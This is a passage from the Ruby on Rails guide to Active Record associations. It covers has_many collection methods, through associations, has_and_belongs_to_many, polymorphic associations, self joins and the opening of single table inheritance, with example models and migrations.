If you wish to enforce [referential integrity](https://en.wikipedia.org/wiki/Referential_integrity) at the database level, add the [`foreign_key: true`](active_record_migrations.html#foreign-keys) option to the `reference` column declarations above. This will ensure that the `author_id` in the books table must correspond to a valid `id` in the `authors` table,

```
create_table :books do |t|
  t.belongs_to :author, index: true, foreign_key: true
  # ...
end
```

This relation can be [bi-directional](#bi-directional-associations) when used in combination with `belongs_to` on the other model.

#### [2.3.1. Methods Added by `has_many`](#methods-added-by-has-many)

When you declare a `has_many` association, the declaring class gains numerous methods related to the association. Some of these are:

* `collection`
* [`collection<<(object, ...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C)
* [`collection.delete(object, ...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete)
* [`collection.destroy(object, ...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy)
* `collection=(objects)`
* `collection_singular_ids`
* `collection_singular_ids=(ids)`
* [`collection.clear`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear)
* [`collection.empty?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F)
* [`collection.size`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size)
* [`collection.find(...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find)
* [`collection.where(...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-where)
* [`collection.exists?(...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F)
* [`collection.build(attributes = {})`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build)
* [`collection.create(attributes = {})`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create)
* [`collection.create!(attributes = {})`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create-21)
* [`collection.reload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload)

We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many).

In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:

```
class Author < ApplicationRecord
  has_many :books
end
```

An instance of the `Author` model can have the following methods:

```
books
books<<(object, ...)
books.delete(object, ...)
books.destroy(object, ...)
books=(objects)
book_ids
book_ids=(ids)
books.clear
books.empty?
books.size
books.find(...)
books.where(...)
books.exists?(...)
books.build(attributes = {}, ...)
books.create(attributes = {})
books.create!(attributes = {})
books.reload
```

##### [2.3.1.1. Managing the Collection](#methods-added-by-has-many-managing-the-collection)

The `collection` method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation.

```
@books = @author.books
```

The [`collection.delete`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete) method removes one or more objects from the collection by setting their foreign keys to `NULL`.

```
@author.books.delete(@book1)
```

Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`.

The [`collection.destroy`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy) method removes one or more objects from the collection by running `destroy` on each object.

```
@author.books.destroy(@book1)
```

Objects will *always* be removed from the database, ignoring the `:dependent` option.

The [`collection.clear`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear) method removes all objects from the collection according to the strategy specified by the `dependent` option. If no option is given, it follows the default strategy. The default strategy for `has_many :through` associations is `delete_all`, and for `has_many` associations is to set the foreign keys to `NULL`.

```
@author.books.clear
```

Objects will be deleted if they're associated with `dependent: :destroy` or `dependent: :destroy_async`, just like `dependent: :delete_all`.

The [`collection.reload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload) method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation.

```
@books = @author.books.reload
```

##### [2.3.1.2. Assigning the Collection](#methods-added-by-has-many-assigning-the-collection)

The `collection=(objects)` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.

The `collection_singular_ids=(ids)` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.

##### [2.3.1.3. Querying the Collection](#methods-added-by-has-many-querying-the-collection)

The `collection_singular_ids` method returns an array of the ids of the objects in the collection.

```
@book_ids = @author.book_ids
```

The [`collection.empty?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F) method returns `true` if the collection does not contain any associated objects.

```
<% if @author.books.empty? %>
  No Books Found
<% end %>
```

The [`collection.size`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size) method returns the number of objects in the collection.

```
@book_count = @author.books.size
```

The [`collection.find`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find) method finds objects within the collection's table.

```
@available_book = @author.books.find(1)
```

The [`collection.where`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-where) method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.

```
@available_books = @author.books.where(available: true) # No query yet
@available_book = @available_books.first # Now the database will be queried
```

The [`collection.exists?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F) method checks whether an object meeting the supplied conditions exists in the collection's table.

##### [2.3.1.4. Building and Creating Associated Objects](#methods-added-by-has-many-building-and-creating-associated-objects)

The [`collection.build`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build) method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will *not* yet be saved.

```
@book = @author.books.build(published_at: Time.now,
                            book_number: "A12345")

@books = @author.books.build([
  { published_at: Time.now, book_number: "A12346" },
  { published_at: Time.now, book_number: "A12347" }
])
```

The [`collection.create`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create) method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object *will* be saved.

```
@book = @author.books.create(published_at: Time.now,
                             book_number: "A12345")

@books = @author.books.create([
  { published_at: Time.now, book_number: "A12346" },
  { published_at: Time.now, book_number: "A12347" }
])
```

`collection.create!` does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid.

##### [2.3.1.5. When are Objects Saved?](#methods-added-by-has-many-when-are-objects-saved-questionmark)

When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.

If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.

### [2.4. `has_many :through`](#has-many-through)

A [`has_many :through`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many) association is often used to set up a many-to-many relationship with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding *through* an intermediate "join" model.

For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

```
class Physician < ApplicationRecord
  has_many :appointments
  has_many :patients, through: :appointments
end

class Appointment < ApplicationRecord
  belongs_to :physician
  belongs_to :patient
end

class Patient < ApplicationRecord
  has_many :appointments
  has_many :physicians, through: :appointments
end
```

`has_many :through` establishes a many-to-many relationship between models, allowing instances of one model (Physician) to be associated with multiple instances of another model (Patient) through a third "join" model (Appointment).

We call `Physician.appointments` and `Appointment.patient` the *through* and *source* associations of `Physician.patients`, respectively.

The corresponding migration might look like this:

```
class CreateAppointments < ActiveRecord::Migration[8.1]
  def change
    create_table :physicians do |t|
      t.string :name
      t.timestamps
    end

    create_table :patients do |t|
      t.string :name
      t.timestamps
    end

    create_table :appointments do |t|
      t.belongs_to :physician
      t.belongs_to :patient
      t.datetime :appointment_date
      t.timestamps
    end
  end
end
```

In this migration the `physicians` and `patients` tables are created with a `name` column. The `appointments` table, which acts as the join table, is created with `physician_id` and `patient_id` columns, establishing the many-to-many relationship between `physicians` and `patients`.

The through association can be any type of association, including other through associations, but it cannot be [polymorphic](#polymorphic-associations). Source associations can be polymorphic as long as you provide a source type.

You could also consider using a [composite primary key](active_record_composite_primary_keys.html) for the join table in the `has_many :through` relationship like below:

```
class CreateAppointments < ActiveRecord::Migration[8.1]
  def change
    #  ...
    create_table :appointments, primary_key: [:physician_id, :patient_id] do |t|
      t.belongs_to :physician
      t.belongs_to :patient
      t.datetime :appointment_date
      t.timestamps
    end
  end
end
```

The collection of join models in a `has_many :through` association can be managed using standard [`has_many` association methods](#methods-added-by-has-many). For example, if you assign a list of patients to a physician like this:

```
physician.patients = patients
```

Rails will automatically create new join models for any patients in the new list that were not previously associated with the physician. Additionally, if any patients that were previously associated with the physician are not included in the new list, their join records will be automatically deleted. This simplifies managing many-to-many relationships by handling the creation and deletion of the join models for you.

Automatic deletion of join models is direct, no destroy callbacks are triggered. You can read more about callbacks in the [Active Record Callbacks Guide](active_record_callbacks.html).

The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. This is particularly beneficial when you need to access a collection of related records through an intermediary association.

For example, if a document has many sections, and each section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document without having to manually traverse through each section.

You can set this up with a `has_many :through` association as follows:

```
class Document < ApplicationRecord
  has_many :sections
  has_many :paragraphs, through: :sections
end

class Section < ApplicationRecord
  belongs_to :document
  has_many :paragraphs
end

class Paragraph < ApplicationRecord
  belongs_to :section
end
```

With `through: :sections` specified, Rails will now understand:

```
@document.paragraphs
```

Whereas, if you had not set up a `has_many :through` association, you would have needed to do something like this to get paragraphs in a document:

```
paragraphs = []
@document.sections.each do |section|
  paragraphs.concat(section.paragraphs)
end
```

### [2.5. `has_one :through`](#has-one-through)

A [`has_one :through`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one) association sets up a one-to-one relationship with another model through an intermediary model. This association indicates that the declaring model can be matched with one instance of another model by proceeding *through* a third model.

For example, if each supplier has one account, and each account is associated with one account history, then the supplier model could look like this:

```
class Supplier < ApplicationRecord
  has_one :account
  has_one :account_history, through: :account
end

class Account < ApplicationRecord
  belongs_to :supplier
  has_one :account_history
end

class AccountHistory < ApplicationRecord
  belongs_to :account
end
```

This setup allows a `supplier` to directly access its `account_history` through its `account`.

We call `Supplier.account` and `Account.account_history` the *through* and *source* associations of `Supplier.account_history`, respectively.

The corresponding migration to set up these associations might look like this:

```
class CreateAccountHistories < ActiveRecord::Migration[8.1]
  def change
    create_table :suppliers do |t|
      t.string :name
      t.timestamps
    end

    create_table :accounts do |t|
      t.belongs_to :supplier
      t.string :account_number
      t.timestamps
    end

    create_table :account_histories do |t|
      t.belongs_to :account
      t.integer :credit_rating
      t.timestamps
    end
  end
end
```

The through association must be a `has_one`, `has_one :through`, or non-polymorphic `belongs_to`. That is, a non-polymorphic singular association. On the other hand, source associations can be polymorphic as long as you provide a source type.

### [2.6. `has_and_belongs_to_many`](#has-and-belongs-to-many)

A [`has_and_belongs_to_many`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many) association creates a direct many-to-many relationship with another model, with no intervening model. This association indicates that each instance of the declaring model refers to zero or more instances of another model.

For example, consider an application with `Assembly` and `Part` models, where each assembly can contain many parts, and each part can be used in many assemblies. You can set up the models as follows:

```
class Assembly < ApplicationRecord
  has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end
```

Even though a `has_and_belongs_to_many` does not require an intervening model, it does require a separate table to establish the many-to-many relationship between the two models involved. This intervening table serves to store the related data, mapping the associations between instances of the two models. The table does not necessarily need a primary key since its purpose is solely to manage the relationship between the associated records. The corresponding migration might look like this:

```
class CreateAssembliesAndParts < ActiveRecord::Migration[8.1]
  def change
    create_table :assemblies do |t|
      t.string :name
      t.timestamps
    end

    create_table :parts do |t|
      t.string :part_number
      t.timestamps
    end

    # Create a join table to establish the many-to-many relationship between assemblies and parts.
    # `id: false` indicates that the table does not need a primary key of its own
    create_table :assemblies_parts, id: false do |t|
      # creates foreign keys linking the join table to the `assemblies` and `parts` tables
      t.belongs_to :assembly
      t.belongs_to :part
    end
  end
end
```

The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.

The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.

#### [2.6.1. Methods Added by `has_and_belongs_to_many`](#methods-added-by-has-and-belongs-to-many)

When you declare a `has_and_belongs_to_many` association, the declaring class gains numerous methods related to the association. Some of these are:

* `collection`
* [`collection<<(object, ...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C)
* [`collection.delete(object, ...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete)
* [`collection.destroy(object, ...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy)
* `collection=(objects)`
* `collection_singular_ids`
* `collection_singular_ids=(ids)`
* [`collection.clear`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear)
* [`collection.empty?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F)
* [`collection.size`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size)
* [`collection.find(...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find)
* [`collection.where(...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-where)
* [`collection.exists?(...)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F)
* [`collection.build(attributes = {})`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build)
* [`collection.create(attributes = {})`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create)
* [`collection.create!(attributes = {})`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create-21)
* [`collection.reload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload)

We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many).

In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:

```
class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end
```

An instance of the `Part` model can have the following methods:

```
assemblies
assemblies<<(object, ...)
assemblies.delete(object, ...)
assemblies.destroy(object, ...)
assemblies=(objects)
assembly_ids
assembly_ids=(ids)
assemblies.clear
assemblies.empty?
assemblies.size
assemblies.find(...)
assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
assemblies.create!(attributes = {})
assemblies.reload
```

##### [2.6.1.1. Managing the Collection](#methods-added-by-has-and-belongs-to-many-managing-the-collection)

The `collection` method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation.

```
@assemblies = @part.assemblies
```

The [`collection<<`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C) method adds one or more objects to the collection by creating records in the join table.

```
@part.assemblies << @assembly1
```

This method is aliased as `collection.concat` and `collection.push`.

The [`collection.delete`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete) method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

```
@part.assemblies.delete(@assembly1)
```

The [`collection.destroy`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy) method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

```
@part.assemblies.destroy(@assembly1)
```

The [`collection.clear`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear) method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.

##### [2.6.1.2. Assigning the Collection](#methods-added-by-has-and-belongs-to-many-assigning-the-collection)

The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.

The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.

##### [2.6.1.3. Querying the Collection](#methods-added-by-has-and-belongs-to-many-querying-the-collection)

The `collection_singular_ids` method returns an array of the ids of the objects in the collection.

```
@assembly_ids = @part.assembly_ids
```

The [`collection.empty?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F) method returns `true` if the collection does not contain any associated objects.

```
<% if @part.assemblies.empty? %>
  This part is not used in any assemblies
<% end %>
```

The [`collection.size`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size) method returns the number of objects in the collection.

```
@assembly_count = @part.assemblies.size
```

The [`collection.find`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find) method finds objects within the collection's table.

```
@assembly = @part.assemblies.find(1)
```

The [`collection.where`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-where) method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.

```
@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
```

The [`collection.exists?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F) method checks whether an object meeting the supplied conditions exists in the collection's table.

##### [2.6.1.4. Building and Creating Associated Objects](#methods-added-by-has-and-belongs-to-many-building-and-creating-associated-objects)

The [`collection.build`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build) method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will *not* yet be saved.

```
@assembly = @part.assemblies.build({ assembly_name: "Transmission housing" })
```

The [`collection.create`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create) method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object *will* be saved.

```
@assembly = @part.assemblies.create({ assembly_name: "Transmission housing" })
```

`collection.create!` does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid.

The [`collection.reload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload) method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation.

```
@assemblies = @part.assemblies.reload
```

##### [2.6.1.5. When are Objects Saved?](#methods-added-by-has-and-belongs-to-many-when-are-objects-saved-questionmark)

When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.

If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.

## [3. Choosing an Association](#choosing-an-association)

### [3.1. `belongs_to` vs `has_one`](#belongs-to-vs-has-one)

If you want to set up a one-to-one relationship between two models, you can choose between a `belongs_to` and a `has_one` association. How do you know which one to choose?

The distinction lies in the placement of the foreign key, which goes on the table of the class declaring the `belongs_to` association. However, it’s essential to understand the semantics to determine the correct associations:

* `belongs_to`: This association indicates that the current model contains the foreign key and is a child in the relationship. It references another model, implying that each instance of this model is linked to one instance of the other model.
* `has_one`: This association indicates that the current model is the parent in the relationship, and it owns one instance of the other model.

For example, consider a scenario with suppliers and their accounts. It makes more sense to say that a supplier has/owns an account (where the supplier is the parent) rather than an account has/owns a supplier. Therefore, the correct associations would be:

* A supplier has one account.
* An account belongs to one supplier.

Here is how you can define these associations in Rails:

```
class Supplier < ApplicationRecord
  has_one :account
end

class Account < ApplicationRecord
  belongs_to :supplier
end
```

To implement these associations, you'll need to create the corresponding database tables and set up the foreign key. Here's an example migration:

```
class CreateSuppliers < ActiveRecord::Migration[8.1]
  def change
    create_table :suppliers do |t|
      t.string :name
      t.timestamps
    end

    create_table :accounts do |t|
      t.belongs_to :supplier_id
      t.string :account_number
      t.timestamps
    end

    add_index :accounts, :supplier_id
  end
end
```

Remember that the foreign key goes on the table of the class declaring the belongs\_to association. In this case the `account` table.

### [3.2. `has_many :through` vs `has_and_belongs_to_many`](#has-many-through-vs-has-and-belongs-to-many)

Rails offers two different ways to declare a many-to-many relationship between models: `has_many :through` and `has_and_belongs_to_many`. Understanding the differences and use cases for each can help you choose the best approach for your application's needs.

The `has_many :through` association sets up a many-to-many relationship through an intermediary model (also known as a join model). This approach is more flexible and allows you to add validations, callbacks, and extra attributes to the join model. The join table needs a `primary_key` (or a [composite primary key](active_record_composite_primary_keys.html)).

```
class Assembly < ApplicationRecord
  has_many :manifests
  has_many :parts, through: :manifests
end

class Manifest < ApplicationRecord
  belongs_to :assembly
  belongs_to :part
end

class Part < ApplicationRecord
  has_many :manifests
  has_many :assemblies, through: :manifests
end
```

You'd use `has_many :through` when:

* You need to add extra attributes or methods to the join table.
* You require [validations](active_record_validations.html) or [callbacks](active_record_callbacks.html) on the join model.
* The join table should be treated as an independent entity with its own behavior.

The `has_and_belongs_to_many` association allows you to create a many-to-many relationship directly between two models without needing an intermediary model. This method is straightforward and is suitable for simple associations where no additional attributes or behaviors are required on the join table. For `has_and_belongs_to_many` associations, you'll need to create a join table without a primary key.

```
class Assembly < ApplicationRecord
  has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end
```

You'd use `has_and_belongs_to_many` when:

* The association is simple and does not require additional attributes or behaviors on the join table.
* You do not need validations, callbacks, or extra methods on the join table.

## [4. Advanced Associations](#advanced-associations)

### [4.1. Polymorphic Associations](#polymorphic-associations)

A slightly more advanced twist on associations is the *polymorphic association*. Polymorphic associations in Rails allow a model to belong to multiple other models through a single association. This can be particularly useful when you have a model that needs to be linked to different types of models.

For instance, imagine you have a `Picture` model that can belong to **either** an `Employee` or a `Product`, because each of these can have a profile picture. Here's how this could be declared:

```
class Picture < ApplicationRecord
  belongs_to :imageable, polymorphic: true
end

class Employee < ApplicationRecord
  has_many :pictures, as: :imageable
end

class Product < ApplicationRecord
  has_many :pictures, as: :imageable
end
```

In the context above, `imageable` is a name chosen for the association. It's a symbolic name that represents the polymorphic association between the `Picture` model and other models such as `Employee` and `Product`. The important thing is to use the same name (`imageable`) consistently across all associated models to establish the polymorphic association correctly.

When you declare `belongs_to :imageable, polymorphic: true` in the `Picture` model, you're saying that a `Picture` can belong to any model (like `Employee` or `Product`) through this association.

You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. This allows you to retrieve a collection of pictures from an instance of the `Employee` model using `@employee.pictures`. Similarly, you can retrieve a collection of pictures from an instance of the `Product` model using `@product.pictures`.

Additionally, if you have an instance of the `Picture` model, you can get its parent via `@picture.imageable`, which could be an `Employee` or a `Product`.

To set up a polymorphic association manually you would need to declare both a foreign key column (`imageable_id`) and a type column (`imageable_type`) in the model:

```
class CreatePictures < ActiveRecord::Migration[8.1]
  def change
    create_table :pictures do |t|
      t.string  :name
      t.bigint  :imageable_id
      t.string  :imageable_type
      t.timestamps
    end

    add_index :pictures, [:imageable_type, :imageable_id]
  end
end
```

In our example, `imageable_id` could be the ID of either an `Employee` or a `Product`, and `imageable_type` is the name of the associated model's class, so either `Employee` or `Product`.

While creating the polymorphic association manually is acceptable, it is instead recommended to use `t.references` or its alias `t.belongs_to` and specify `polymorphic: true` so that Rails knows that the association is polymorphic, and it automatically adds both the foreign key and type columns to the table.

```
class CreatePictures < ActiveRecord::Migration[8.1]
  def change
    create_table :pictures do |t|
      t.string :name
      t.belongs_to :imageable, polymorphic: true
      t.timestamps
    end
  end
end
```

Since polymorphic associations rely on storing class names in the database, that data must remain synchronized with the class name used by the Ruby code. When renaming a class, make sure to update the data in the polymorphic type column.

For example, if you change the class name from `Product` to `Item` then you'd need to run a migration script to update the `imageable_type` column in the `pictures` table (or whichever table is affected) with the new class name. Additionally, you'll need to update any other references to the class name throughout your application code to reflect the change.

### [4.2. Models with Composite Primary Keys](#models-with-composite-primary-keys)

Rails can often infer primary key-foreign key relationships between associated models, but when dealing with composite primary keys, Rails typically defaults to using only part of the composite key, often the id column, unless explicitly instructed otherwise.

If you're working with composite primary keys in your Rails models and need to ensure the correct handling of associations, please refer to the [Associations section of the Composite Primary Keys guide](active_record_composite_primary_keys.html#associations-between-models-with-composite-primary-keys). This section provides comprehensive guidance on setting up and using associations with composite primary keys in Rails, including how to specify composite foreign keys when necessary.

### [4.3. Self Joins](#self-joins)

A self-join is a regular join, but the table is joined with itself. This is useful in situations where there is a hierarchical relationship within a single table. A common example is an employee management system where an employee can have a manager, and that manager is also an employee.

Consider an organization where employees can be managers of other employees. We want to track this relationship using a single `employees` table.

In your Rails model, you define the `Employee` class to reflect these relationships:

```
class Employee < ApplicationRecord
  # an employee can have many subordinates.
  has_many :subordinates, class_name: "Employee", foreign_key: "manager_id"

  # an employee can have one manager.
  belongs_to :manager, class_name: "Employee", optional: true
end
```

`has_many :subordinates` sets up a one-to-many relationship where an employee can have many subordinates. Here, we specify that the related model is also `Employee` (`class_name: "Employee"`) and the foreign key used to identify the manager is `manager_id`.

`belongs_to :manager` sets up a one-to-one relationship where an employee can belong to one manager. Again, we specify the related model as `Employee`.

To support this relationship, we need to add a `manager_id` column to the `employees` table. This column references the `id` of another employee (the manager).

```
class CreateEmployees < ActiveRecord::Migration[8.1]
  def change
    create_table :employees do |t|
      # Add a belongs_to reference to the manager, which is an employee.
      t.belongs_to :manager, foreign_key: { to_table: :employees }
      t.timestamps
    end
  end
end
```

* `t.belongs_to :manager` adds a `manager_id` column to the `employees` table.
* `foreign_key: { to_table: :employees }` ensures that the `manager_id` column references the `id` column of the `employees` table.

The `to_table` option passed to `foreign_key` and more are explained in [`SchemaStatements#add_reference`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference).

With this setup, you can easily access an employee's subordinates and manager in your Rails application.

To get an employee's subordinates:

```
employee = Employee.find(1)
subordinates = employee.subordinates
```

To get an employee's manager:

```
manager = employee.manager
```

## [5. Single Table Inheritance (STI)](#single-table-inheritance-sti)

Single Table Inheritance (STI) is a pattern in Rails that allows multiple models to be stored in a single database table. This is useful when you have different types of entities that share common attributes and behavior but also have specific behaviors.

For example, suppose we have `Car`, `Motorcycle`, and `Bicycle` models. These models will share fields like `color` and `price`, but each will have unique behaviors. They will also each have their own controller.

### [5.1. Generating the Base Vehicle Model](#generating-the-base-vehicle-model)

First, we generate the base `Vehicle` model with shared fields:

```
$ bin/rails generate model vehicle type:string color:string price:decimal{10.2}
```

Here, the `type` field is crucial for STI as it stores the model name (`Car`, `Motorcycle`, or `Bicycle`). STI requires this field to differentiate between the different models stored in the same table.

### [5.2. Generating Child Models](#generating-child-models)

Next, we generate the `Car`, `Motorcycle`, and `Bicycle` models that inherit from Vehicle. These models won't have their own tables; instead, they will use the `vehicles` table.

To generate the `Car` model:

```
$ bin/rails generate model car --parent=Vehicle
```

For this, we can use the `--parent=PARENT` option, which will generate a model that inherits from the specified parent and without equivalent migration (since the table already exists).

This generates a `Car` model that inherits from `Vehicle`:

```
class Car < Vehicle
end
```

This means that all behavior added to Vehicle is available for Car too, as associations, public methods, etc. Creating a car will save it in the `vehicles` table with "Car" as the `type` field:

Repeat the same process for `Motorcycle` and `Bicycle`.

### [5.3. Creating Records](#creating-records)

Creating a record for `Car`:

```
Car.create(color: "Red", price: 10000)
```

This will generate the following SQL:

```
INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)
```

### [5.4. Querying Records](#querying-records)

Querying car records will search only for vehicles that are cars:

```
Car.all
```

will run a query like:

```
